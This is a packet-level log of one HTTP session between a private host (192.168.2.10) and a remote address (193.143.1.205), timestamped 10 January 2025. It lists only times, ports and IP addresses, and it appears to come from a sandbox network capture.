Jan 10, 2025 21:32:41.890337944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890350103 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890362024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890372992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890386105 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890387058 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890398026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890412092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890424013 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890435934 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890436888 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890450001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890487909 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890513897 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890526056 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890548944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890567064 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890568018 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890579939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890590906 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890603065 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890610933 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890614986 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890629053 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890638113 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890654087 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890723944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890743017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890754938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890765905 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890774012 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890778065 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890789986 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890794992 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890810013 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890820980 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890822887 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890837908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.890882969 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.890882969 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.891130924 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891144037 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891155958 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891160965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891168118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891179085 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891191959 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891204119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891211987 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.891216993 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891227961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891243935 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.891258955 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891272068 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.891309023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891331911 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891343117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891347885 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.891371965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.891385078 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913419008 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913434029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913445950 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913459063 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913481951 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913515091 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913619041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913671970 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913712978 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913722992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913733959 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913750887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913764954 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913777113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913789988 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913801908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913801908 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913813114 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913820982 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913841009 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913856030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913866043 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913894892 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913902998 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913908005 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913932085 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913932085 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.913944006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913957119 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.913990021 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.914020061 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928376913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928426981 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928440094 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928453922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928473949 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928528070 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928591967 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928605080 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928617001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928627968 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928641081 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928653955 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928661108 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928667068 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928678036 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928689957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928700924 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928704977 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928715944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.928736925 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.928752899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.942071915 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942117929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942118883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.942135096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942194939 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.942265987 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942279100 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942291021 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942296982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942308903 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.942336082 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.942393064 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.966181040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966204882 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966217041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966233015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966253996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966267109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966267109 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.966279984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966303110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966310024 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.966316938 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.966371059 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980248928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980263948 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980283976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980304956 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980318069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980333090 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980340958 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980355024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980366945 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980381012 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980395079 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980396032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980408907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980412006 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980439901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980458975 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980472088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980488062 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980499029 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980500937 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980530977 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980653048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980665922 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980681896 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980694056 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980704069 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980707884 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980724096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980748892 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980770111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980782032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980787992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980793953 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980799913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980806112 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980813980 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980824947 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980832100 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980855942 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980915070 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980927944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980958939 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.980967999 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980984926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.980998039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981013060 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981029987 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981039047 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981045008 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981059074 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981084108 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981084108 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981100082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981126070 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981215954 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981229067 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981245041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981256962 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981268883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981270075 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981283903 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981287956 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981327057 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981424093 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981451988 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981462955 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981466055 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981478930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981492996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981503010 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981506109 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981533051 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981590986 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981617928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981631041 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981632948 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981646061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981657982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981669903 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981673002 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981683016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981694937 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981698036 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981709957 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981722116 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981734991 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981748104 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981754065 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981766939 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.981792927 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.981981039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982002974 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982017040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982028008 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.982028961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982042074 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982053995 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982055902 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.982068062 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982083082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:41.982085943 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.982115984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.987584114 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:41.995270014 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010191917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010219097 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010246992 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010256052 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010258913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010272026 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010284901 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010307074 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010488033 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010500908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010531902 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010535955 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010551929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010565996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010577917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010591030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010600090 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010603905 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010617018 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010629892 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.010643959 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010643959 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.010683060 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019073963 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019088030 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019099951 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019114017 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019155025 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019166946 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019179106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019200087 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019201040 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019217014 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019229889 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019242048 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019242048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019256115 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019265890 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019274950 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019279003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019290924 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019294977 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019309998 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.019342899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.019342899 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.032816887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032835960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032850027 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032862902 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032870054 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.032875061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032887936 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032902002 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032905102 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.032912016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.032973051 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.056926966 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.056941032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.056983948 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.056996107 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057008982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057022095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057037115 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.057060957 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.057065964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057079077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057094097 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057104111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.057130098 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.057148933 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.070972919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071163893 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071175098 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071187019 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071199894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071212053 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071219921 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071233988 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071253061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071264982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071265936 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071278095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071286917 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071290016 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071302891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071326971 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071327925 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071340084 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071352005 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071357965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071365118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071377993 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071388960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071389914 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071399927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071410894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071419001 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071423054 CET	80	49717	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.071439981 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.071464062 CET	49717	80	192.168.2.10	193.143.1.205
